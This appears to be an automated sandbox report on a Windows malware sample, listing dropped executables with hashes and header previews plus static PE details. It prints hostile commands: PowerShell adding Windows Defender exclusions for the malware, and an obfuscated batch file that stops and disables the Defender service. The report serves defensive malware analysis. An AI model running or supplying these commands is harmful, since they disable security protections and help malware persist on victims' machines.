Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......j@...!.R.!.R.!.R'Y.R4!.R'Y.R.!.R'Y.R=!.R.!.R.!.R'Y.Ry!.R'Y.R/!.R'Y.R/!.R'Y.R/!.RRich.!.R........PE..L....ALV.....................~......\.............@..........................`..........................................3...............xE..........................................................@...@...............(............................text...)........................... ..`.rdata...F.......H..................@..@.data...(.... ......................@....rsrc...xE.......F..."..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E4D7.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602624
Entropy (8bit):	7.084353154011633
Encrypted:	false
SSDEEP:	12288:cXFozgk6zKJTHUqEiPEnvnoTYPjPX12r0OqvOw79vU6i/+95v:GFE+zgcnD2pg/Uc5v
MD5:	BB71D72E7391E33F98C1291C0F499BA6
SHA1:	1C6D44C11343804C707AA2F3AB6B75B66F61F1E7
SHA-256:	35231486153CEE388C670FE38E700810CB7F4BB265F42D6D68C1B9494206360D
SHA-512:	EC4EB1654F4BE3038F319A329D73110AEE7702549E015EEE86AF0B45ADA3CB5244A4DDAEE0DCBEA362127B460A1C51A68A5DA9DB9313D9450F930254E6A7EEB7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....q.e.Richp.e.........................PE..L...j.^......................p...................@...........................x.................................................P....@w..?....................w.....0...................................@............................................text...@........................... ..`.data....io.........................@....vif.........0w.....................@....rsrc....?...@w..@..................@..@.reloc...#....w..$..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FBAD.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	604160
Entropy (8bit):	7.081312542094628
Encrypted:	false
SSDEEP:	12288:zUq737aTz5aNquRVgE6/kEObrF5d/WYN4t88+wGOjsyDR:Aq7rwa0uRm8brF5LupDs
MD5:	DE692F1B4D4C63FED395BE25E878858E
SHA1:	16F5B74E898FB0CD30F127CB1E03DA79E481158A
SHA-256:	6ED753E5B9A7AC5D89A6F9749E24C5BEB7483C6FDA2057E81E1EB3ED5A32AB21
SHA-512:	24227BBCD1451E7F6A2B6C16637987B1388BE398A88005851AF24805BFD7B57AE39AE7B70E69DE3B424EE48E4FB65EF0CABD710692EBC9393F2A1542E6D8E067
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5.>.T.m.T.m.T.m."2m.T.m.".m.T.m."3mqT.m.,.m.T.m.T.m.T.m."6m.T.m.".m.T.m.".m.T.mRich.T.m........PE..L.....*_......................v.....@.............@...........................~......4..........................................d....P}..I....................}..... ...................................@............................................text.............................. ..`.data...H.u.........................@....rsrc....I...P}..J..................@..@.reloc...#....}..$..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FC0C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	516536
Entropy (8bit):	7.850812641211313
Encrypted:	false
SSDEEP:	12288:qw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+ymtE:qVhdLVg2Zep7njXzPDxC+TE
MD5:	C55C023A1BEA32E71A99614D39DC4DD6
SHA1:	44809A18A01B2647C9A80AF0EF9CA131EEF34E97
SHA-256:	D7241A7DA97FDEFE199F23605BFAB8F878728A71F4B1B12F26AA83F775AE2FC5
SHA-512:	5A4A071A5CE5EB921738324AF71A8434DF5AF2219016006A0002D6918DCADAD8580BEF6D4973F05ACD9FF68C23DE6B8C3F6308709294DAD03D024068C9F42667
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\FC0C.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.............~.... ........@.. .......................@.......'....`.................................$...W............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................`.......H........t..<k...........Y..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4mnnn4mp.orf.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_edan1p3l.tam.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gfqhgulf.ukd.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u455jibt.3e0.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\37D8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91000
Entropy (8bit):	6.241345766746317
Encrypted:	false
SSDEEP:	1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3
MD5:	17FC12902F4769AF3A9271EB4E2DACCE
SHA1:	9A4A1581CC3971579574F837E110F3BD6D529DAB
SHA-256:	29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B
SHA-512:	036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....).....)..Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\test.bat Download File
Process:	C:\Users\user\AppData\Local\Temp\37D8.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	8399
Entropy (8bit):	4.665734428420432
Encrypted:	false
SSDEEP:	192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N
MD5:	B2A5EF7D334BDF866113C6F4F9036AAE
SHA1:	F9027F2827B35840487EFD04E818121B5A8541E0
SHA-256:	27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E
SHA-512:	8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189E
Malicious:	false
Reputation:	unknown
Preview:	@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdztigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybsrbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xar%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%jskzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcxymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Roaming\csdfufc Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\esdfufc Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347648
Entropy (8bit):	6.0028359766199
Encrypted:	false
SSDEEP:	6144:2lTbIu4B96zuF5GVM5/xfe7Yrc+dZX6FzbzfS3:2Bb8BCu3Be7Yrc+dZX6JfK
MD5:	2BA5D1028F7BABCA366060BDE97BF482
SHA1:	98C817B375BB002C37C8DFB778116E4C5D07CD79
SHA-256:	555FD11933A1BB3A71714E1C234CDEAF7EA3C614F24EEBEC3786FB61CB3B5B5E
SHA-512:	A708EABF5CB10CE8352CD08FF0E116E37A3274B6EEC347873BD5AB02D716B3DB02F02832318D269BCB03A8AE3F2D901088075D356E69CA3066BA61A1B18656CC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....q.e.Richp.e.........................PE..L...^2R_......................p...................@...........................t.............................................d...P....`s..?....................s.....0...............................p...@............................................text............................... ..`.data....io.........................@....zegu........Ps.....................@....rsrc....?...`s..@..................@..@.reloc...#....s..$...*..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\esdfufc:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\gbdfufc Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347136
Entropy (8bit):	5.994706914620217
Encrypted:	false
SSDEEP:	6144:5rT+Wp+Ouiv24iPmSCyf11rcrKElOoL91iH+2k9Q9:5H/p+Ouiv24gf11rcrKElOSiH
MD5:	31BE6099D31BDBF1ED339EFFDC1C7064
SHA1:	6B1077BE6CF57EA98C3BE8B6F0268D025EA72D88
SHA-256:	9D9056D76BE4BEB3CC17CD95C47108AB42D73255F2BC031423D044ED927FB885
SHA-512:	ECC057643C2E65C74F3286C8856EB57FEC75FCB650FBE864D53EC0C36C34E0DA3242E19657B1ABB75AA3EEE88A7367E77FFC0E3FE98BFEF0D180C74966D1CEDE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....q.e.Richp.e.........................PE..L...g.._......................p.....p.............@...........................t.................................................P....`s.h?....................s.....0..................................@............................................text... ........................... ..`.data....io.........................@....daya........Ps.....................@....rsrc...h?...`s..@..................@..@.reloc...#....s..$...(..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\wcgjajd Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	337526
Entropy (8bit):	7.9994347952433165
Encrypted:	true
SSDEEP:	6144:hQyW+vowXp21P16bYOeIpcrXnlA5CWkyD2aEsaAE13NUW5gVp9k:CwgJmYzrXnsst13+KgVo
MD5:	B1A5218C26B5EC43B1B1C7E01D350974
SHA1:	4173B12B20E3E836592884F729EC9D1A11379557
SHA-256:	C712ED7BE71D49B51C5C76474DBB962BCD8CC408FDA23548145D0676628FABEA
SHA-512:	D7355A3AD598752E5A4FB9877B9CDEC43842342ED0254CA8F760AA55F1271C4BF4EFC479E67C322DF89CA5070BF4E8EE7D35BF2A296C0E9D931B5494489FA2F5
Malicious:	false
Reputation:	unknown
Preview:	rR........U:v.R......h. E..u.y..W..k.+...Y.s.,H.0.....gl...27.E.B........&.0.?{:.....<....8......+.S..8.p.3q.U....L..u.......S.....:0 A..TP~.n.9,`t.....o...>5.sE..}.... ..?#0.........`....LT..4..Y.z.$...'....vwd.M...\|[+..9.z.My..U.$Q..s;9.i.2.E....A....iM...n...%,.Y.V.9.d.....9...o......#3.l[.](.D....Zu.1.O3:....I.}{k.k.q.....rf.S.?Uo2.....Lt-.N.!.@.n.!}...#x.....&K..%Y.`..i..f..\|QVj..0._..]..s..hl..m..c....,d..W..n.?.<.0..`._o..z!.I..O.i........l..r...o..9.w1.U8.7.q1. ....%.TW9.+.@".E,.\e....7._nYo.t.....R.Uo...\|C.Zd4.B..r....;(...A.,.Dav..!...k...0....=.:./..n.JWL...z9....#.J`6.&.r.\L.H......t..a.x.i4......X.$ug.f..k.y....a........H.N.5P....S.M.M..x.C..m.K.h2....f.....KgI..t.H.'Z...:[.525B.[.l.r.....~Q..a..X.Q.-.P....N..D...G.D....8tg.3..,..y2......`u...f...+<...........;..8y../..=.n.....s.i.%..N.q6=1._;.......5..!.m....2s..?k..7l.^-...08..!..,...{... ..Kg......$.v.v....f....ko...,..D....\..9......S..l.C...6..)...X..6p.`.-......dk..Nel

C:\Users\user\Documents\20211029\PowerShell_transcript.494126.GGT1a5eE.20211029175606.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	866
Entropy (8bit):	5.308899213264465
Encrypted:	false
SSDEEP:	24:BxSAjt7vBVLavx2DOXUWeSuLaYWbHjeTKKjX4CIym1ZJXrvduLaE:BZjlvTL6oO+S97bqDYB1Ztvd9E
MD5:	0543B697CA0B9F1007EC3188BEEF0AB5
SHA1:	4E90527B9AEAE030F5E19A392F73EA8E46D17FC1
SHA-256:	BE0008ABBA59F1B14AD07D2A51F0347C534F0FCDC421836F1236BD767F486B7B
SHA-512:	27D7A30C3CACF2D987513BF2EDB241F47F1321AD29E49AC1383C5867F567097F11964BB825343762ABB4381D2F47BD68DF8A697553D96A3836BC8E4D6D869F6F
Malicious:	false
Reputation:	unknown
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211029175609..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 494126 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp\60DF.exe -Force..Process ID: 4836..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211029175609..********************..PS>Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp\60DF.exe -Force..

C:\Users\user\Documents\20211029\PowerShell_transcript.494126.y4tiu8ZD.20211029175547.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5835
Entropy (8bit):	5.367063162435604
Encrypted:	false
SSDEEP:	96:BZjWTL6N/qDo1ZtiZjlTL6N/qDo1ZtxJvhjZj4TL6N/qDo1ZtDgxxThZJ4:PpucTfE14
MD5:	EE8750EF2439D150C70D76C1C4D7E3BC
SHA1:	2C7C3D46F2346B244656C0524D1E62B490488425
SHA-256:	74B038BB8A334A4372AA13EB4FECB647B573286BC6E45A0D7F257F6494328FED
SHA-512:	86B8458A4F8FA2AAA429063612992350FAFEE53933DAB06A7F4BD41FCF31BBB2CBCED90F987659F6D5AEBB7DD576EBF6BC47EC04688BD3CB625494B3111DFBEF
Malicious:	false
Reputation:	unknown
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211029175550..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 494126 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp\37D8.exe -Force..Process ID: 5392..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211029175550..******************..PS>Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp\37D8.exe -Force..********************..Windows PowerShell transcript start..Start time: 20211029180043..Username: computer\user..RunAs Use

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.0028359766199
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	y8WngeDn4q.exe
File size:	347648
MD5:	2ba5d1028f7babca366060bde97bf482
SHA1:	98c817b375bb002c37c8dfb778116e4c5d07cd79
SHA256:	555fd11933a1bb3a71714e1c234cdeaf7ea3c614f24eebec3786fb61cb3b5b5e
SHA512:	a708eabf5cb10ce8352cd08ff0e116e37a3274b6eec347873bd5ab02d716b3db02f02832318d269bcb03a8ae3f2d901088075d356e69ca3066ba61a1b18656cc
SSDEEP:	6144:2lTbIu4B96zuF5GVM5/xfe7Yrc+dZX6FzbzfS3:2Bb8BCu3Be7Yrc+dZX6JfK
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e.....\.e.....R.e.......e.y...w.e.p.d...e.....q.e.....q.e.....q.e.Richp.e.........................PE..L...^2R_...

File Icon


Icon Hash:	aedaae9ecea62aa2

Static PE Info

General
Entrypoint:	0x41caf0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5F52325E [Fri Sep 4 12:26:06 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	4649591756a77695954d3f167e28cc87

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FA764C776EBh
call 00007FA764C72536h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043C930h
push 00421A10h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [0043E494h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401074h]
cmp dword ptr [02B339C4h], 00000000h
jne 00007FA764C72530h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [004010F8h]
call 00007FA764C726B3h
mov dword ptr [ebp-6Ch], eax
call 00007FA764C7A99Bh
test eax, eax
jne 00007FA764C7252Ch
push 0000001Ch
call 00007FA764C72670h
add esp, 04h
call 00007FA764C7A2F8h
test eax, eax
jne 00007FA764C7252Ch
push 00000010h
call 00007FA764C7265Dh
add esp, 04h
push 00000001h
call 00007FA764C7A243h
add esp, 04h
call 00007FA764C7805Bh
mov dword ptr [ebp-04h], 00000000h
call 00007FA764C76A3Fh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3cf64	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2736000	0x3fa8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x273a000	0x1b84	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1230	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1bf70	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1dc	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3caa0	0x3cc00	False	0.598624774949	data	6.98983847511	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x3e000	0x26f69c8	0x1600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.zegu	0x2735000	0x2e5	0x400	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2736000	0x3fa8	0x4000	False	0.735107421875	data	6.34719318888	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x273a000	0x123cc	0x12400	False	0.0811884631849	data	1.05043394106	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x2739ae0	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ICON	0x2736340	0x25a8	data	Spanish	Paraguay
RT_ICON	0x27388e8	0x10a8	data	Spanish	Paraguay
RT_STRING	0x2739d58	0x96	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x2739df0	0x1b6	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x2739a20	0x90	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x27399b8	0x68	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x2739c10	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x2739990	0x22	data	Spanish	Paraguay
RT_VERSION	0x2739c28	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x2739ac0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x2739ad0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x2739ab0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL	Import
